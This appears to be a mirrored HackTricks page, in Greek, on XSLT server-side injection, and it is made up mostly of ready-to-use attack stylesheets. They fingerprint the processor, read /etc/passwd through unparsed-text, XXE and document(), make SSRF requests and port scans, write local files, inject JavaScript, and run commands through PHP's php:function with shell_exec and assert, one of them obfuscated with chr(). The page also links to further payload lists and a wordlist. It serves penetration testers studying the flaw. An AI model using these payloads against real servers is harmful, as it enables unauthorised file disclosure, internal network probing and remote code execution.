mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
388 lines
15 KiB
Markdown
388 lines
15 KiB
Markdown
# XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Basic Information
|
||
|
||
Το XSLT είναι μια τεχνολογία που χρησιμοποιείται για τη μετατροπή εγγράφων XML σε διάφορες μορφές. Υπάρχουν τρεις εκδόσεις: 1, 2 και 3, με την έκδοση 1 να είναι η πιο συχνά χρησιμοποιούμενη. Η διαδικασία μετατροπής μπορεί να εκτελείται είτε στον διακομιστή είτε μέσα στον περιηγητή.
|
||
|
||
Τα πλαίσια που χρησιμοποιούνται πιο συχνά περιλαμβάνουν:
|
||
|
||
- **Libxslt** από το Gnome,
|
||
- **Xalan** από το Apache,
|
||
- **Saxon** από το Saxonica.
|
||
|
||
Για την εκμετάλλευση ευπαθειών που σχετίζονται με το XSLT, είναι απαραίτητο οι ετικέτες xsl να αποθηκεύονται στην πλευρά του διακομιστή, ακολουθούμενες από την πρόσβαση σε αυτό το περιεχόμενο. Ένα παράδειγμα μιας τέτοιας ευπάθειας τεκμηριώνεται στην ακόλουθη πηγή: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
|
||
|
||
## Example - Tutorial
|
||
```bash
|
||
sudo apt-get install default-jdk
|
||
sudo apt-get install libsaxonb-java libsaxon-java
|
||
```
|
||
|
||
```xml:xml.xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<catalog>
|
||
<cd>
|
||
<title>CD Title</title>
|
||
<artist>The artist</artist>
|
||
<company>Da Company</company>
|
||
<price>10000</price>
|
||
<year>1760</year>
|
||
</cd>
|
||
</catalog>
|
||
```
|
||
|
||
```xml:xsl.xsl
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
<html>
|
||
<body>
|
||
<h2>The Super title</h2>
|
||
<table border="1">
|
||
<tr bgcolor="#9acd32">
|
||
<th>Title</th>
|
||
<th>artist</th>
|
||
</tr>
|
||
<tr>
|
||
<td><xsl:value-of select="catalog/cd/title"/></td>
|
||
<td><xsl:value-of select="catalog/cd/artist"/></td>
|
||
</tr>
|
||
</table>
|
||
</body>
|
||
</html>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
Εκτέλεση:
|
||
```xml
|
||
saxonb-xslt -xsl:xsl.xsl xml.xml
|
||
|
||
Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
|
||
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
|
||
<html>
|
||
<body>
|
||
<h2>The Super title</h2>
|
||
<table border="1">
|
||
<tr bgcolor="#9acd32">
|
||
<th>Title</th>
|
||
<th>artist</th>
|
||
</tr>
|
||
<tr>
|
||
<td>CD Title</td>
|
||
<td>The artist</td>
|
||
</tr>
|
||
</table>
|
||
</body>
|
||
</html>
|
||
```
|
||
### Δακτυλοσκοπία
|
||
```xml:detection.xsl
|
||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
|
||
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
|
||
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
|
||
<xsl:if test="system-property('xsl:product-name')">
|
||
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:product-version')">
|
||
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:is-schema-aware')">
|
||
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:supports-serialization')">
|
||
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
|
||
/><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
|
||
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
|
||
/><br />
|
||
</xsl:if>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
Και εκτέλεση
|
||
```xml
|
||
$saxonb-xslt -xsl:detection.xsl xml.xml
|
||
|
||
Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
|
||
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
|
||
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
|
||
```
|
||
### Διαβάστε το Τοπικό Αρχείο
|
||
```xml:read.xsl
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
|
||
```xml
|
||
$ saxonb-xslt -xsl:read.xsl xml.xml
|
||
|
||
Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
|
||
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
|
||
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
|
||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||
sync:x:4:65534:sync:/bin:/bin/sync
|
||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||
```
|
||
### SSRF
|
||
```xml
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
|
||
<xsl:include href="http://127.0.0.1:8000/xslt"/>
|
||
<xsl:template match="/">
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
### Εκδόσεις
|
||
|
||
Μπορεί να υπάρχουν περισσότερες ή λιγότερες λειτουργίες ανάλογα με την έκδοση XSLT που χρησιμοποιείται:
|
||
|
||
- [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
|
||
- [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
|
||
- [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)
|
||
|
||
## Αποτύπωμα
|
||
|
||
Ανεβάστε αυτό και πάρτε πληροφορίες
|
||
```xml
|
||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
|
||
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
|
||
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
|
||
<xsl:if test="system-property('xsl:product-name')">
|
||
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:product-version')">
|
||
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:is-schema-aware')">
|
||
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:supports-serialization')">
|
||
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
|
||
/><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
|
||
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
|
||
/><br />
|
||
</xsl:if>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
## SSRF
|
||
```xml
|
||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
|
||
</esi:include>
|
||
```
|
||
## Εισαγωγή Javascript
|
||
```xml
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
<script>confirm("We're good");</script>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
## Κατάλογος καταχώρησης (PHP)
|
||
|
||
### **Opendir + readdir**
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
</xsl:template></xsl:stylesheet>
|
||
```
|
||
### **Επιβεβαίωση (var_dump + scandir + false)**
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
|
||
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
|
||
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
|
||
<br />
|
||
</body>
|
||
</html>
|
||
```
|
||
## Διαβάστε αρχεία
|
||
|
||
### **Εσωτερικό - PHP**
|
||
```xml
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
### **Εσωτερικό - XXE**
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
&ext_file;
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
### **Μέσω HTTP**
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="document('/etc/passwd')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
|
||
```xml
|
||
<!DOCTYPE xsl:stylesheet [
|
||
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
|
||
<xsl:template match="/">
|
||
&passwd;
|
||
</xsl:template>
|
||
```
|
||
### **Εσωτερικό (PHP-λειτουργία)**
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
|
||
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
|
||
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
|
||
<br />
|
||
</body>
|
||
</html>
|
||
```
|
||
### Σάρωση θύρας
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="document('http://example.com:22')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
## Γράψτε σε ένα αρχείο
|
||
|
||
### XSLT 2.0
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:result-document href="local_file.txt">
|
||
<xsl:text>Write Local File</xsl:text>
|
||
</xsl:result-document>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
### **Επέκταση Xalan-J**
|
||
```xml
|
||
<xsl:template match="/">
|
||
<redirect:open file="local_file.txt"/>
|
||
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
|
||
<redirect:close file="loxal_file.txt"/>
|
||
</xsl:template>
|
||
```
|
||
Άλλοι τρόποι για να γράψετε αρχεία στο PDF
|
||
|
||
## Συμπερίληψη εξωτερικού XSL
|
||
```xml
|
||
<xsl:include href="http://extenal.web/external.xsl"/>
|
||
```
|
||
|
||
```xml
|
||
<?xml version="1.0" ?>
|
||
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
|
||
```
|
||
## Εκτέλεση κώδικα
|
||
|
||
### **php:function**
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0"
|
||
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
|
||
xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
|
||
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
|
||
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
|
||
<br />
|
||
</body>
|
||
</html>
|
||
```
|
||
Εκτέλεση κώδικα χρησιμοποιώντας άλλα πλαίσια στο PDF
|
||
|
||
### **Περισσότερες Γλώσσες**
|
||
|
||
**Σε αυτή τη σελίδα μπορείτε να βρείτε παραδείγματα RCE σε άλλες γλώσσες:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
|
||
|
||
## **Πρόσβαση σε στατικές συναρτήσεις PHP από κλάσεις**
|
||
|
||
Η παρακάτω συνάρτηση θα καλέσει τη στατική μέθοδο `stringToUrl` της κλάσης XSL:
|
||
```xml
|
||
<!--- More complex test to call php class function-->
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
|
||
version="1.0">
|
||
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
|
||
<xsl:template match="root">
|
||
<html>
|
||
<!-- We use the php suffix to call the static class function stringToUrl() -->
|
||
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
|
||
<!-- Output: 'une_superstring ao modifier' -->
|
||
</html>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
## Περισσότερα Payloads
|
||
|
||
- Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
|
||
- Check [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
|
||
|
||
## **Λίστα Ανίχνευσης Brute-Force**
|
||
|
||
{{#ref}}
|
||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
|
||
{{#endref}}
|
||
|
||
## **Αναφορές**
|
||
|
||
- [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)\\
|
||
- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
|
||
- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|